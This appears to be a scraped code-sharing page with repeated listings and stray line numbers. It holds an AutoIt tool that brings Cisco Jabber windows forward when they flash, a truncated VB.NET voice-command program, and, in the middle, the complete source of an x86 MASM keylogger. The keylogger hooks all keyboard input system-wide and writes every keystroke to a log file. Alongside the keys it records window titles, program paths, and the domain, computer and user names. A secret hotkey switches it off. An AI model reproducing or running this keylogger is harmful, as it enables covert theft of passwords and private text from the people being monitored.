            _SendMessage($hGui, $WM_SYSCOMMAND, $SC_CLOSE, 0)
        Case $cBtnHook
            $bHook = BitXOR($bHook, 1)
            ShellHookWindow($hGui, $bHook)
            GUICtrlSetData($cBtnHook, $aBtnText[$bHook])
    EndSwitch
EndFunc
Func HShellWndProc($hWnd, $Msg, $wParam, $lParam)
    Switch $wParam
        Case $HSHELL_FLASH
            MsgPrint("Window flash: " &amp; $lParam &amp; " (" &amp; WinGetTitle($lParam) &amp; ")")
            MsgPrint(ProcessGetName(WinGetProcess($lParam)))
            if ProcessGetName(WinGetProcess($lParam)) = "CiscoJabber.exe" Then
               WinActivate($lParam)
            endif
            ;if WinGetTitle($lParam) = "Conversations" Then
            ;EndIf
        Case Else
            ;MsgPrint("Unknown ShellHook message: " &amp; $wParam &amp; " , " &amp; $lParam)
    EndSwitch
 EndFunc
 Func ProcessGetName($PId)
    If IsNumber($PId) = 0 Then
        SetError(2)
    ElseIf $PId &gt; 9999 Then
        SetError(1)
    Else
        Local $PList = ProcessList()
        Local $i = 1
        Local $ProcessName = ""
        While $i &lt;= $PList[0][0] And $ProcessName = ""
            If $PList[$i][1] = $PId Then
                $ProcessName = $PList[$i][0]
            Else
                $i = $i + 1
            EndIf
        WEnd
        Return $ProcessName
    EndIf
EndFunc ;==&gt;ProcessGetName
;register/unregister ShellHook
Func ShellHookWindow($hWnd, $bFlag)
    Local $sFunc = 'DeregisterShellHookWindow'
    If $bFlag Then $sFunc = 'RegisterShellHookWindow'
    Local $aRet = DllCall('user32.dll', 'int', $sFunc, 'hwnd', $hWnd)
    MsgPrint($sFunc &amp; ' = ' &amp; $aRet[0])
    Return $aRet[0]
EndFunc
Func MsgPrint($sText)
    ConsoleWrite($sText &amp; @CRLF)
    ;GUICtrlSendMsg($cList, $LB_SETCURSEL, GUICtrlSendMsg($cList, $LB_ADDSTRING, 0, $sText), 0)
EndFunc
;register window message
Func RegisterWindowMessage($sText)
    Local $aRet = DllCall('user32.dll', 'int', 'RegisterWindowMessage', 'str', $sText)
    Return $aRet[0]
EndFunc
Func On_WM_SYSCOMMAND($hWnd, $Msg, $wParam, $lParam)
    Switch BitAND($wParam, 0xFFF0)
        Case $SC_MOVE, $SC_SIZE
        Case $SC_CLOSE
            ShellHookWindow($hGui, 0)
            Return $GUI_RUNDEFMSG
            ;Exit
    EndSwitch
EndFunc

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

#include <GuiConstants.au3>

#include <Misc.au3>

#include <GuiconstantsEx.au3>

#include <WindowsConstants.au3>

#include <ListBoxConstants.au3>

#include <SendMessage.au3>

#NoTrayIcon

Opt("GUICloseOnESC", 0)

Opt("GUIOnEventMode", 1)

Opt("WinWaitDelay", 0)

;Global Const $WM_SYSCOMMAND = 0x0112

;Global Const $LBS_NOINTEGRALHEIGHT = 0x1000

Global Const $SC_MOVE = 0xF010

Global Const $SC_SIZE = 0xF000

Global Const $SC_CLOSE = 0xF060

;ShellHook notification codes:

Global Const $HSHELL_WINDOWCREATED = 1;

Global Const $HSHELL_WINDOWDESTROYED = 2;

Global Const $HSHELL_ACTIVATESHELLWINDOW = 3;

Global Const $HSHELL_WINDOWACTIVATED = 4;

Global Const $HSHELL_GETMINRECT = 5;

Global Const $HSHELL_REDRAW = 6;

Global Const $HSHELL_TASKMAN = 7;

Global Const $HSHELL_LANGUAGE = 8;

Global Const $HSHELL_SYSMENU = 9;

Global Const $HSHELL_ENDTASK = 10;

Global Const $HSHELL_ACCESSIBILITYSTATE = 11;

Global Const $HSHELL_APPCOMMAND = 12;

Global Const $HSHELL_WINDOWREPLACED = 13;

Global Const $HSHELL_WINDOWREPLACING = 14;

Global Const $HSHELL_RUDEAPPACTIVATED = 32772;

Global Const $HSHELL_FLASH = 32774;

Global $bHook = 1

;GUI stuff:

Global $iGuiW = 50, $iGuiH = 50, $sTitle = "Jabber Monitor by Nicholas Hall", $aBtnText[2] = ["START", "STOP"]

$hGui = GUICreate($sTitle, $iGuiW, $iGuiH, -1, 0, $WS_POPUP+$WS_BORDER, $WS_EX_TOPMOST)

GUISetOnEvent($GUI_EVENT_CLOSE, "SysEvents")

GUISetOnEvent($GUI_EVENT_PRIMARYDOWN, "SysEvents")

GUIRegisterMsg($WM_SYSCOMMAND, "On_WM_SYSCOMMAND")

$cBtnMini = GUICtrlCreateButton("v", $iGuiW-$iGuiH, 0, $iGuiH/2, $iGuiH/2)

GUICtrlSetOnEvent(-1, "CtrlEvents")

GUICtrlSetTip(-1, "Minimize")

$cBtnClose = GUICtrlCreateButton("X", $iGuiW-$iGuiH/2, 0, $iGuiH/2, $iGuiH/2)

GUICtrlSetOnEvent(-1, "CtrlEvents")

GUICtrlSetTip(-1, "Exit")

$cBtnHook = GUICtrlCreateButton("", $iGuiW-$iGuiH, $iGuiH/2, $iGuiH, $iGuiH/2)

GUICtrlSetData(-1, $aBtnText[$bHook])

GUICtrlSetTip(-1, "Hook/Unhook Jabber")

GUICtrlSetOnEvent(-1, "CtrlEvents")

;$cList = GUICtrlCreateList("", 0, 0, $iGuiW-$iGuiH-1, $iGuiH, $LBS_NOINTEGRALHEIGHT+$WS_VSCROLL)

GUICtrlSetOnEvent(-1, "CtrlEvents")

;Hook stuff:

GUIRegisterMsg(RegisterWindowMessage("SHELLHOOK"), "HShellWndProc")

ShellHookWindow($hGui, $bHook)

GUISetState()

While 1

Sleep(1000)

WEnd

Func SysEvents()

Switch @GUI_CtrlId

Case $GUI_EVENT_CLOSE

Exit

Case $GUI_EVENT_PRIMARYDOWN

;CTRL + Left click to drag GUI

If _IsPressed("11") Then

DllCall("user32.dll", "int", "ReleaseCapture")

DllCall("user32.dll", "int", "SendMessage", "hWnd", $hGui, "int", 0xA1, "int", 2, "int", 0)

EndIf

EndSwitch

EndFunc

Func CtrlEvents()

Switch @GUI_CtrlId

Case $cBtnMini

GUISetState(@SW_MINIMIZE)

Case $cBtnClose

_SendMessage($hGui, $WM_SYSCOMMAND, $SC_CLOSE, 0)

Case $cBtnHook

$bHook = BitXOR($bHook, 1)

ShellHookWindow($hGui, $bHook)

GUICtrlSetData($cBtnHook, $aBtnText[$bHook])

EndSwitch

EndFunc

Func HShellWndProc($hWnd, $Msg, $wParam, $lParam)

Switch $wParam

Case $HSHELL_FLASH

MsgPrint("Window flash: " & $lParam & " (" & WinGetTitle($lParam) & ")")

MsgPrint(ProcessGetName(WinGetProcess($lParam)))

if ProcessGetName(WinGetProcess($lParam)) = "CiscoJabber.exe" Then

WinActivate($lParam)

endif

;if WinGetTitle($lParam) = "Conversations" Then

;EndIf

Case Else

;MsgPrint("Unknown ShellHook message: " & $wParam & " , " & $lParam)

EndSwitch

EndFunc

Func ProcessGetName($PId)

If IsNumber($PId) = 0 Then

SetError(2)

ElseIf $PId > 9999 Then

SetError(1)

Else

Local $PList = ProcessList()

Local $i = 1

Local $ProcessName = ""

While $i <= $PList[0][0] And $ProcessName = ""

If $PList[$i][1] = $PId Then

$ProcessName = $PList[$i][0]

Else

$i = $i + 1

EndIf

WEnd

Return $ProcessName

EndIf

EndFunc ;==>ProcessGetName

;register/unregister ShellHook

Func ShellHookWindow($hWnd, $bFlag)

Local $sFunc = 'DeregisterShellHookWindow'

If $bFlag Then $sFunc = 'RegisterShellHookWindow'

Local $aRet = DllCall('user32.dll', 'int', $sFunc, 'hwnd', $hWnd)

MsgPrint($sFunc & ' = ' & $aRet[0])

Return $aRet[0]

EndFunc

Func MsgPrint($sText)

ConsoleWrite($sText & @CRLF)

;GUICtrlSendMsg($cList, $LB_SETCURSEL, GUICtrlSendMsg($cList, $LB_ADDSTRING, 0, $sText), 0)

EndFunc

;register window message

Func RegisterWindowMessage($sText)

Local $aRet = DllCall('user32.dll', 'int', 'RegisterWindowMessage', 'str', $sText)

Return $aRet[0]

EndFunc

Func On_WM_SYSCOMMAND($hWnd, $Msg, $wParam, $lParam)

Switch BitAND($wParam, 0xFFF0)

Case $SC_MOVE, $SC_SIZE

Case $SC_CLOSE

ShellHookWindow($hGui, 0)

Return $GUI_RUNDEFMSG

;Exit

EndSwitch

EndFunc

MASM Keylogger

.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\advapi32.inc
include \masm32\include\msvcrt.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\msvcrt.lib
pushz macro szText:VARARG
local nexti
call nexti
db szText,00h
nexti:
endm
fopen PROTO C :DWORD, :DWORD
fprintf PROTO C :DWORD, :VARARG
fflush PROTO C :DWORD
fclose PROTO C :DWORD
.data
hBuffer dd ?
hComputerName db 32 dup(0)
hCurrentThreadPiD dd 0
hCurrentWindow dd 0
hDateFormat db "dd MMM yyyy", 0
hDomaineName db 128 dup(0)
hFile dd 0
hHook dd 0
hmodul MODULEENTRY32 &lt;&gt;
hSnapShot dd 0
hTimeFormat db "hh:mm:ss tt", 0
hUserName db 32 dup(0)
msg MSG &lt;&gt;
onlyOneCopy db "Global\zkl",0
.code
main:
push offset onlyOneCopy ; check to make sure we are the only copy
push 0 ; of this program running for this user
push 0 ; for fast user switching we can still have
call CreateMutexA ; one copy per user running with this check
call GetLastError ; but if this user is running one already. we exit
cmp eax,ERROR_ALREADY_EXISTS
je more_than_one_copy
xor ebx, ebx ; Zero Out ebx
push VK_F11 ; this will switch logger off using CTRL+ALT+F11 together
push MOD_CONTROL or MOD_ALT
push 0badfaceh ; name of register key -&gt; "0BADFACE"
push ebx ;
call RegisterHotKey ; we got a new hot key
pushz "ab" ; append in binary mode
pushz "zLog" ; name of log file
call fopen ; open the log file
add esp, 2*4 ; all c lib functions need fixup..
mov [hFile], eax ; save our file number
push ebx
call GetModuleHandleA ; get our module handle for setting the hook
push ebx ; register our keyboard hook proc and start hooking
push eax
push offset KeyBoardProc ; where our hook proc is located
push WH_KEYBOARD_LL ; low level key logger WH_KEYBOARD_LL = 13
call SetWindowsHookExA ; Look MOM no DLL Needed :P
mov [hHook], eax ; ok here is our hook handle for later
push ebx ; We Need to check for messages like our
push ebx ; hot key, so we can close when we get it
push ebx
push offset msg ; it will be in the message struct
call GetMessageA ; wait for a message
push [hHook] ; we got the hot key, lets close up house
call UnhookWindowsHookEx ; make sure we unhook things to be nice
push [hFile] ; close our logfile before we stop
call fclose
add esp, 04
more_than_one_copy:
push eax ; call stop and lets go away
call ExitProcess
;##############################################################
KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
LOCAL lpKeyState[256] :BYTE
LOCAL lpClassName[64] :BYTE
LOCAL lpCharBuf[32] :BYTE
LOCAL lpDateBuf[12] :BYTE
LOCAL lpTimeBuf[12] :BYTE
LOCAL lpLocalTime :SYSTEMTIME
;----------------------------
lea edi, [lpKeyState] ; lets zero out our buffers
push 256/4
pop ecx
xor eax, eax
rep stosd ; sets us up for doubleword from EAX
mov eax, wParam
cmp eax, WM_KEYUP ; only need WM_KEYDOWN
je next_hook ; bypass double logging
cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN
je next_hook ; bypass double logging
call GetForegroundWindow ; get handle for currently used window ( specific to NT and after )
cmp [hCurrentWindow], eax ; if its not different to last one saved..
je no_window_change ; bypass all the headings
mov [hCurrentWindow], eax ; save it for use now and compare later
push 64 ; get the class name
lea esi, [lpClassName]
push esi
push [hCurrentWindow]
call GetClassName
lea esi, [lpLocalTime] ; invoke GetLocalTime, ADDR LocalTime
push esi
call GetLocalTime
push 12 ; invoke GetDateFormat, NULL, NULL \
lea esi, [lpDateBuf]
push esi ; ADDR lpLocalTime, ADDR hDateFormat \
lea esi, [hDateFormat]
push esi ; ADDR lpDateBuf, Size of 12
lea esi, [lpLocalTime]
push esi
push 0
push 0
call GetDateFormat ; format the date
push 12 ; invoke GetTimeFormat, NULL, NULL \
lea esi, [lpTimeBuf]
push esi ; ADDR lpLocalTime, ADDR hTimeFormat \
lea esi, [hTimeFormat]
push esi ; ADDR lpTimeBuf, Size of 12
lea esi, [lpLocalTime]
push esi
push 0
push 0
call GetTimeFormat ; format the time
lea esi, [hCurrentThreadPiD] ; get the processid that sent the key
push esi ; using the HWND we got earlier from
mov eax, [hCurrentWindow] ; our GetForegroundWindow call
push eax ; we need it to get the program exe name
call GetWindowThreadProcessId
mov ebx, hCurrentThreadPiD ; remember we are NOT using a DLL so.....
push ebx ; we need to use ToolHelp procs to get
push TH32CS_SNAPMODULE ; the program exe name of who sent us
call CreateToolhelp32Snapshot ; this key
mov hSnapShot,eax ; save the ToolHelp Handle to close later
mov hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail
push offset hmodul ; first Module is always module for process
mov eax, [hSnapShot] ; so safe to assume that the exe file name here
push eax ; will always be the right one for us
call Module32First
mov eax, [hSnapShot] ; we are done with ToolHelp so we need
push eax ; to tell it we wish to close
call CloseHandle
push 256 ; find the window title text
lea esi, [lpKeyState] ; use lpKeyState it's not being used yet so
push esi
mov eax, [hCurrentWindow] ; using the HWND we got from GetForegroundWindow
push eax
call GetWindowText
push offset hmodul.szExePath
lea esi, [lpTimeBuf] ; print the formatted time
push esi
lea esi, [lpDateBuf] ; print the formatted date
push esi
pushz 13,10,"[%s, %s - Program:%s]",13,10
push [hFile]
call fprintf ; write the buffer to cache
add esp, 3*4
lea esi, [lpClassName] ; print the Window Class Name
push esi
lea esi, [lpKeyState] ; print the Window Title
push esi
pushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10
push [hFile]
call fprintf ; write the buffer to cache
add esp, 3*4
mov hBuffer, 128 ; get the current domain name
push offset hBuffer
push offset hDomaineName
push 1
call GetComputerNameExA
mov hBuffer, 32 ; get the current computer name
push offset hBuffer
push offset hComputerName
push 0
call GetComputerNameExA
mov hBuffer, 32 ; get the current user name
push offset hBuffer
push offset hUserName
call GetUserNameA
push offset hUserName ; print the user name
push offset hComputerName ; print the computer name
push offset hDomaineName ; print the domain name
pushz "[ Domain:%s - Computer:%s - User:%s]",13,10
push [hFile]
call fprintf ; write to cache
add esp, 3*4
push [hFile]
call fflush ; flush data buffer to disk..
add esp, 4
no_window_change:
mov esi, [lParam] ; we don't want to print shift or capslock names.
lodsd ; it just makes the logs easier to read without them.
cmp al, VK_LSHIFT ; they are tested later when distinguishing between
je next_hook ; bypass left shift Key for upper/lowercase characters
cmp al, VK_RSHIFT
je next_hook ; bypass right shift Key
cmp al, VK_CAPITAL
je next_hook ; bypass caps lock Key
cmp al, VK_ESCAPE
je get_name_of_key ; we Want escape characters
cmp al, VK_BACK
je get_name_of_key ; we want backspace key
cmp al, VK_TAB
je get_name_of_key ; we want tab key
;------------------
lea edi, [lpCharBuf] ; zero initialise buffer for key text
push 32/4
pop ecx
xor eax, eax
rep stosd
;----------
lea ebx, [lpKeyState]
push ebx
call GetKeyboardState ; get current keyboard state
push VK_LSHIFT ; test if left shift key held down
call GetKeyState
xchg esi, eax ; save result in esi
push VK_RSHIFT ; test right..
call GetKeyState
or eax, esi ; al == 1 if either key is DOWN
mov byte ptr [ebx + 16], al ; toggle a shift key to on/off
push VK_CAPITAL
call GetKeyState ; returns TRUE if caps lock is on
mov byte ptr [ebx + 20], al ; toggle caps lock to on/off
mov esi, [lParam]
lea edi, [lpCharBuf]
push 00h
push edi ; buffer for ascii characters
push ebx ; keyboard state
lodsd
xchg eax, edx
lodsd
push eax ; hardware scan code
push edx ; virutal key code
call ToAscii ; convert to human readable characters
test eax, eax ; if return zero, continue
jnz test_carriage_return ; else, write to file.
get_name_of_key: ; no need for large table of pointers to get asciiz
mov esi, [lParam]
lodsd ; skip virtual key code
lodsd ; eax = scancode
shl eax, 16
xchg eax, ecx
lodsd ; extended key info
shl eax, 24
or ecx, eax
push 32
lea edi, [lpCharBuf]
push edi
push ecx
call GetKeyNameTextA ; get the key text
push edi
pushz "[%s]" ; print the special key text
jmp write_to_file
test_carriage_return:
push edi
pushz "%s" ; print regular keys
cmp byte ptr [edi], 0dh ; carriage return?
jne write_to_file
mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read.
write_to_file:
push [hFile] ; where we write to the log file
call fprintf
add esp, 2*4
next_hook:
push [lParam] ; reply for possible other hooks waiting
push [wParam]
push [nCode]
push [hHook]
call CallNextHookEx
ret
KeyBoardProc ENDP
end main

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

.386

.model flat, stdcall

option casemap:none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

include \masm32\include\user32.inc

include \masm32\include\advapi32.inc

include \masm32\include\msvcrt.inc

includelib \masm32\lib\user32.lib

includelib \masm32\lib\kernel32.lib

includelib \masm32\lib\advapi32.lib

includelib \masm32\lib\msvcrt.lib

pushz macro szText:VARARG

local nexti

call nexti

db szText,00h

nexti:

endm

fopen PROTO C :DWORD, :DWORD

fprintf PROTO C :DWORD, :VARARG

fflush PROTO C :DWORD

fclose PROTO C :DWORD

.data

hBuffer dd ?

hComputerName db 32 dup(0)

hCurrentThreadPiD dd 0

hCurrentWindow dd 0

hDateFormat db "dd MMM yyyy", 0

hDomaineName db 128 dup(0)

hFile dd 0

hHook dd 0

hmodul MODULEENTRY32 <>

hSnapShot dd 0

hTimeFormat db "hh:mm:ss tt", 0

hUserName db 32 dup(0)

msg MSG <>

onlyOneCopy db "Global\zkl",0

.code

main:

push offset onlyOneCopy ; check to make sure we are the only copy

push 0 ; of this program running for this user

push 0 ; for fast user switching we can still have

call CreateMutexA ; one copy per user running with this check

call GetLastError ; but if this user is running one already. we exit

cmp eax,ERROR_ALREADY_EXISTS

je more_than_one_copy

xor ebx, ebx ; Zero Out ebx

push VK_F11 ; this will switch logger off using CTRL+ALT+F11 together

push MOD_CONTROL or MOD_ALT

push 0badfaceh ; name of register key -> "0BADFACE"

push ebx ;

call RegisterHotKey ; we got a new hot key

pushz "ab" ; append in binary mode

pushz "zLog" ; name of log file

call fopen ; open the log file

add esp, 2*4 ; all c lib functions need fixup..

mov [hFile], eax ; save our file number

push ebx

call GetModuleHandleA ; get our module handle for setting the hook

push ebx ; register our keyboard hook proc and start hooking

push eax

push offset KeyBoardProc ; where our hook proc is located

push WH_KEYBOARD_LL ; low level key logger WH_KEYBOARD_LL = 13

call SetWindowsHookExA ; Look MOM no DLL Needed :P

mov [hHook], eax ; ok here is our hook handle for later

push ebx ; We Need to check for messages like our

push ebx ; hot key, so we can close when we get it

push ebx

push offset msg ; it will be in the message struct

call GetMessageA ; wait for a message

push [hHook] ; we got the hot key, lets close up house

call UnhookWindowsHookEx ; make sure we unhook things to be nice

push [hFile] ; close our logfile before we stop

call fclose

add esp, 04

more_than_one_copy:

push eax ; call stop and lets go away

call ExitProcess

;##############################################################

KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD

LOCAL lpKeyState[256] :BYTE

LOCAL lpClassName[64] :BYTE

LOCAL lpCharBuf[32] :BYTE

LOCAL lpDateBuf[12] :BYTE

LOCAL lpTimeBuf[12] :BYTE

LOCAL lpLocalTime :SYSTEMTIME

;----------------------------

lea edi, [lpKeyState] ; lets zero out our buffers

push 256/4

pop ecx

xor eax, eax

rep stosd ; sets us up for doubleword from EAX

mov eax, wParam

cmp eax, WM_KEYUP ; only need WM_KEYDOWN

je next_hook ; bypass double logging

cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN

je next_hook ; bypass double logging

call GetForegroundWindow ; get handle for currently used window ( specific to NT and after )

cmp [hCurrentWindow], eax ; if its not different to last one saved..

je no_window_change ; bypass all the headings

mov [hCurrentWindow], eax ; save it for use now and compare later

push 64 ; get the class name

lea esi, [lpClassName]

push esi

push [hCurrentWindow]

call GetClassName

lea esi, [lpLocalTime] ; invoke GetLocalTime, ADDR LocalTime

push esi

call GetLocalTime

push 12 ; invoke GetDateFormat, NULL, NULL \

lea esi, [lpDateBuf]

push esi ; ADDR lpLocalTime, ADDR hDateFormat \

lea esi, [hDateFormat]

push esi ; ADDR lpDateBuf, Size of 12

lea esi, [lpLocalTime]

push esi

push 0

call GetDateFormat ; format the date

push 12 ; invoke GetTimeFormat, NULL, NULL \

lea esi, [lpTimeBuf]

push esi ; ADDR lpLocalTime, ADDR hTimeFormat \

lea esi, [hTimeFormat]

push esi ; ADDR lpTimeBuf, Size of 12

lea esi, [lpLocalTime]

push esi

push 0

call GetTimeFormat ; format the time

lea esi, [hCurrentThreadPiD] ; get the processid that sent the key

push esi ; using the HWND we got earlier from

mov eax, [hCurrentWindow] ; our GetForegroundWindow call

push eax ; we need it to get the program exe name

call GetWindowThreadProcessId

mov ebx, hCurrentThreadPiD ; remember we are NOT using a DLL so.....

push ebx ; we need to use ToolHelp procs to get

push TH32CS_SNAPMODULE ; the program exe name of who sent us

call CreateToolhelp32Snapshot ; this key

mov hSnapShot,eax ; save the ToolHelp Handle to close later

mov hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail

push offset hmodul ; first Module is always module for process

mov eax, [hSnapShot] ; so safe to assume that the exe file name here

push eax ; will always be the right one for us

call Module32First

mov eax, [hSnapShot] ; we are done with ToolHelp so we need

push eax ; to tell it we wish to close

call CloseHandle

push 256 ; find the window title text

lea esi, [lpKeyState] ; use lpKeyState it's not being used yet so

push esi

mov eax, [hCurrentWindow] ; using the HWND we got from GetForegroundWindow

push eax

call GetWindowText

push offset hmodul.szExePath

lea esi, [lpTimeBuf] ; print the formatted time

push esi

lea esi, [lpDateBuf] ; print the formatted date

push esi

pushz 13,10,"[%s, %s - Program:%s]",13,10

push [hFile]

call fprintf ; write the buffer to cache

add esp, 3*4

lea esi, [lpClassName] ; print the Window Class Name

push esi

lea esi, [lpKeyState] ; print the Window Title

push esi

pushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10

push [hFile]

call fprintf ; write the buffer to cache

add esp, 3*4

mov hBuffer, 128 ; get the current domain name

push offset hBuffer

push offset hDomaineName

push 1

call GetComputerNameExA

mov hBuffer, 32 ; get the current computer name

push offset hBuffer

push offset hComputerName

push 0

call GetComputerNameExA

mov hBuffer, 32 ; get the current user name

push offset hBuffer

push offset hUserName

call GetUserNameA

push offset hUserName ; print the user name

push offset hComputerName ; print the computer name

push offset hDomaineName ; print the domain name

pushz "[ Domain:%s - Computer:%s - User:%s]",13,10

push [hFile]

call fprintf ; write to cache

add esp, 3*4

push [hFile]

call fflush ; flush data buffer to disk..

add esp, 4

no_window_change:

mov esi, [lParam] ; we don't want to print shift or capslock names.

lodsd ; it just makes the logs easier to read without them.

cmp al, VK_LSHIFT ; they are tested later when distinguishing between

je next_hook ; bypass left shift Key for upper/lowercase characters

cmp al, VK_RSHIFT

je next_hook ; bypass right shift Key

cmp al, VK_CAPITAL

je next_hook ; bypass caps lock Key

cmp al, VK_ESCAPE

je get_name_of_key ; we Want escape characters

cmp al, VK_BACK

je get_name_of_key ; we want backspace key

cmp al, VK_TAB

je get_name_of_key ; we want tab key

;------------------

lea edi, [lpCharBuf] ; zero initialise buffer for key text

push 32/4

pop ecx

xor eax, eax

rep stosd

;----------

lea ebx, [lpKeyState]

push ebx

call GetKeyboardState ; get current keyboard state

push VK_LSHIFT ; test if left shift key held down

call GetKeyState

xchg esi, eax ; save result in esi

push VK_RSHIFT ; test right..

call GetKeyState

or eax, esi ; al == 1 if either key is DOWN

mov byte ptr [ebx + 16], al ; toggle a shift key to on/off

push VK_CAPITAL

call GetKeyState ; returns TRUE if caps lock is on

mov byte ptr [ebx + 20], al ; toggle caps lock to on/off

mov esi, [lParam]

lea edi, [lpCharBuf]

push 00h

push edi ; buffer for ascii characters

push ebx ; keyboard state

lodsd

xchg eax, edx

lodsd

push eax ; hardware scan code

push edx ; virutal key code

call ToAscii ; convert to human readable characters

test eax, eax ; if return zero, continue

jnz test_carriage_return ; else, write to file.

get_name_of_key: ; no need for large table of pointers to get asciiz

mov esi, [lParam]

lodsd ; skip virtual key code

lodsd ; eax = scancode

shl eax, 16

xchg eax, ecx

lodsd ; extended key info

shl eax, 24

or ecx, eax

push 32

lea edi, [lpCharBuf]

push edi

push ecx

call GetKeyNameTextA ; get the key text

push edi

pushz "[%s]" ; print the special key text

jmp write_to_file

test_carriage_return:

push edi

pushz "%s" ; print regular keys

cmp byte ptr [edi], 0dh ; carriage return?

jne write_to_file

mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read.

write_to_file:

push [hFile] ; where we write to the log file

call fprintf

add esp, 2*4

next_hook:

push [lParam] ; reply for possible other hooks waiting

push [wParam]

push [nCode]

push [hHook]

call CallNextHookEx

ret

KeyBoardProc ENDP

end main

Adding Voice Recognition to your applications in VB.NET

Imports System.Globalization
Imports System.Speech
Imports System.Speech.Recognition
Imports System.Speech.Synthesis
Module Module1
    Dim ss As New SpeechSynthesizer()
    Dim sre As SpeechRecognitionEngine
    Dim done As Boolean = False
    Dim speechOn As Boolean = True
    Public Sub Main()
        ss.SetOutputToDefaultAudioDevice()
        ss.Speak("Starting")
        Dim ci As New CultureInfo("en-us")
        sre = New SpeechRecognitionEngine(ci)
        sre.SetInputToDefaultAudioDevice()
        AddHandler sre.SpeechRecognized, AddressOf sre_SpeechRecognized
        LoadGrammer()
        sre.RecognizeAsync(RecognizeMode.Multiple)
        While done = False
        End While
        Try
            Console.WriteLine(vbLf &amp; "Hit &lt;enter&gt; to close shell" &amp; vbLf)
            Console.ReadLine()
        Catch ex As Exception
            Console.WriteLine(ex.Message)
            Console.ReadLine()
        End Try
    End Sub
    Private Function LoadGrammer()
        Try
            Dim ch_StartStopCommands As New Choices()
            ch_StartStopCommands.Add("rdp")
            ch_StartStopCommands.Add("speech on")
            ch_StartStopCommands.Add("speech off")
            ch_StartStopCommands.Add("Close")
            Dim gb_StartStop As New GrammarBuilder()
            gb_StartStop.Append(ch_StartStopCommands)
            Dim g_StartStop As New Grammar(gb_StartStop)
            sre.LoadGrammarAsync(g_StartStop)
            Dim ch_boolean As New Choices()
            ch_boolean.Add("dictate on")
            ch_boolean.Add("dictate off")
            ch_boolean.Add("dictation on")
            ch_boolean.Add("dictation off")
            Dim gb_dictate As New GrammarBuilder()
            gb_dictate.Append(ch_boolean)
            Dim g_dictate As New Grammar(gb_dictate)
            sre.LoadGrammarAsync(g_dictate)
            Dim ch_Numbers As New Choices()
            ch_Numbers.Add("1")
            ch_Numbers.Add("2")
            ch_Numbers.Add("3")
            ch_Numbers.Add("4")
            Dim gb_WhatIsXplusY As New GrammarBuilder()
            gb_WhatIsXplusY.Append("What Is")
            gb_WhatIsXplusY.Append(ch_Numbers)
            gb_WhatIsXplusY.Append("plus")
            gb_WhatIsXplusY.Append(ch_Numbers)
            Dim g_WhatIsXplusY As New Grammar(gb_WhatIsXplusY)
            sre.LoadGrammarAsync(g_WhatIsXplusY)
            Dim ch_servers As New Choices()
            ch_servers.Add("fileshare users")
            ch_servers.Add("provision")
            ch_servers.Add("vmServer")
            ch_servers.Add("file eye es people")
            Dim explorerGrammerBuilder As New GrammarBuilder()
            explorerGrammerBuilder.Append("explorer")
            explorerGrammerBuilder.Append(ch_servers)
            Dim explorerGrammer As New Grammar(explorerGrammerBuilder)
            sre.LoadGrammarAsync(explorerGrammer)
            Dim ch_apps As New Choices({"notepad", "hexeditor", "datacenter", "prtg", "cacti", "nagios", "eye es portal", "infoblox", "command"})
            Dim openGrammerBuilder As New GrammarBuilder()
            openGrammerBuilder.Append("open")
            openGrammerBuilder.Append(ch_apps)
            Dim openGrammer As New Grammar(openGrammerBuilder)
            sre.LoadGrammarAsync(openGrammer)
            Dim ch_rdp As New Choices({"vm", "nt"})
            Dim ch_hundres As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9", "100", "200", "300", "400", "500", "600", "700", "800", "900"})
            Dim ch_tens As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9", "eleven", "twelve", "thirteen", "fourteen", "fifthteen", "sixten", "seventeen", "eightteen", "nineteen", "20", "30", "40", "50", "60", "70", "80", "90"})
            Dim ch_ones As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9"})
            Dim rdpGrammerBuilder As New GrammarBuilder()
            rdpGrammerBuilder.Append("rdp")
            rdpGrammerBuilder.Append(ch_rdp)
            rdpGrammerBuilder.Append(ch_hundres)
            rdpGrammerBuilder.Append(ch_tens)
            rdpGrammerBuilder.Append(ch_ones, 0, 1)
            'rdpGrammerBuilder.AppendDictation("spelling")
            Dim rdpGrammer As New Grammar(rdpGrammerBuilder)
            sre.LoadGrammarAsync(rdpGrammer)
            Dim ch_drive As New Choices({"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P"})
            Dim TreeSizeGrammerBuilder As New GrammarBuilder()
            TreeSizeGrammerBuilder.Append("treesize")
            TreeSizeGrammerBuilder.Append(ch_rdp)
            TreeSizeGrammerBuilder.Append(ch_hundres)
            TreeSizeGrammerBuilder.Append(ch_tens)
            TreeSizeGrammerBuilder.Append(ch_ones, 0, 1)
